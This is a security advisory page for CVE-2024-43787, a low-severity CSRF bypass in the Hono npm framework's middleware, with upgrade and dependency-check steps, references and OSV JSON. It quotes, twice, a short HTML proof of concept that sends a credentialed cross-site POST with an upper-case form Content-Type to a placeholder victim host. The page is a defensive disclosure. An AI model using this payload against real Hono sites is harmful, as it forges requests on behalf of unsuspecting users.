CVE-2024-43787: Hono Hono CSRF Middleware Can Be Vulnerability

LOW
Advisory Identifier: GHSA-rpfr-3m35-5vx5
Share
CVSS 5.0
CWE-352
Published
Advisory Summary

CVE-2024-43787 is a LOW (CVSS 5.0) hono csrf middleware can be vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Hono libraries in the npm ecosystem. The issue involves hono csrf middleware can be bypassed using crafted content-type header. Remediation is available by upgrading affected packages to version 4.5.8.

CVE-2024-43787 at a Glance

CVE Identifier CVE-2024-43787
GHSA Identifier GHSA-rpfr-3m35-5vx5
Severity LOW
CVSS v3.1 Base Score 5.0
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Hono
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2024-43787

To remediate this vulnerability, upgrade all affected Hono dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

hono fixed: 4.5.8 
npm install hono@4.5.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls hono

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2024-43787, inspect your project dependencies using npm:

npm ls hono

Analyze the terminal output to locate any version of Hono in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.8), your application is affected.

Note: The npm ls hono command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Hono, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Hono CSRF middleware can be bypassed using crafted Content-Type header. ### Details MIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case. https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17 As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded". ### PoC ```html <html> <head> <title>CSRF Test</title> <script defer> document.addEventListener("DOMContentLoaded", () => { document.getElementById("btn").addEventListener("click", async () => { const res = await fetch("http://victim.example.com/test", { method: "POST", credentials: "include", headers: { "Content-Type": "Application/x-www-form-urlencoded", }, }); }); }); </script> </head> <body> <h1>CSRF Test</h1> <button id="btn">Click me!</button> </body> </html> ``` ### Impact Bypass csrf protection implemented with hono csrf middleware. ### Discussion I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

CVE-2024-43787 Affected Hono Versions

1 component(s)
Fixed Versions:
4.5.8
Product / Package Ecosystem Affected Versions Fixed Version
hono
npm/hono
npm
< 4.5.8
4.5.8

References

GitHub Advisory / Wiki ADVISORY
https://github.com/honojs/hono/security/advisories/GHSA-rpfr-3m35-5vx5
NVD — CVE-2024-43787 NVD
https://nvd.nist.gov/vuln/detail/CVE-2024-43787
Security Fix Commit FIX COMMIT
https://github.com/honojs/hono/commit/41ce840379516410dee60c783142e05bb5a22449
Hono Source Repository REPOSITORY
https://github.com/honojs/hono
Hono Source Repository REPOSITORY
https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

Frequently Asked Questions

What is CVE-2024-43787?
CVE-2024-43787 is a security vulnerability in Hono involving Hono CSRF middleware can be bypassed using crafted Content-Type header under CWE-352: Cross-Site Request Forgery (CSRF).
Which Hono versions are affected?
Affected versions include releases prior to 4.5.8 across affected packages: hono.
What version fixes CVE-2024-43787?
Upgrading to 4.5.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is hono affected?
Yes, hono is affected in releases prior to 4.5.8. Upgrade your dependency to 4.5.8 or later.
What is the CVSS score of CVE-2024-43787?
CVE-2024-43787 has a CVSS v3.1 base score of 5.0 (LOW) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L.
What CWE is associated with CVE-2024-43787?
CVE-2024-43787 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check npm dependencies for CVE-2024-43787?
Run the dependency tree command: 'npm ls hono'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rpfr-3m35-5vx5",
  "modified" : "2024-11-18T16:27:06Z",
  "published" : "2024-08-22T16:41:08Z",
  "aliases" : [ "CVE-2024-43787" ],
  "summary" : "Hono CSRF middleware can be bypassed using crafted Content-Type header",
  "details" : "### Summary\n\nHono CSRF middleware can be bypassed using crafted Content-Type header.\n\n### Details\n\nMIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case.\n\nhttps://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17\n\nAs a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as \"Application/x-www-form-urlencoded\".\n\n### PoC\n\n```html\n<html>\n  <head>\n    <title>CSRF Test</title>\n    <script defer>\n      document.addEventListener(\"DOMContentLoaded\", () => {\n        document.getElementById(\"btn\").addEventListener(\"click\", async () => {\n          const res = await fetch(\"http://victim.example.com/test\", {\n            method: \"POST\",\n            credentials: \"include\",\n            headers: {\n              \"Content-Type\": \"Application/x-www-form-urlencoded\",\n            },\n          });\n        });\n      });\n    </script>\n  </head>\n  <body>\n    <h1>CSRF Test</h1>\n    <button id=\"btn\">Click me!</button>\n  </body>\n</html>\n```\n\n### Impact\n\nBypass csrf protection implemented with hono csrf middleware.\n\n### Discussion\n\nI'm not sure that omitting csrf checks for Simple POST request is a good idea.\nCSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "hono"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/honojs/hono/security/advisories/GHSA-rpfr-3m35-5vx5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-43787"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/honojs/hono/commit/41ce840379516410dee60c783142e05bb5a22449"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/honojs/hono"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-08-22T16:41:08Z",
    "nvd_published_at" : "2024-08-22T15:15:16Z"
  }
}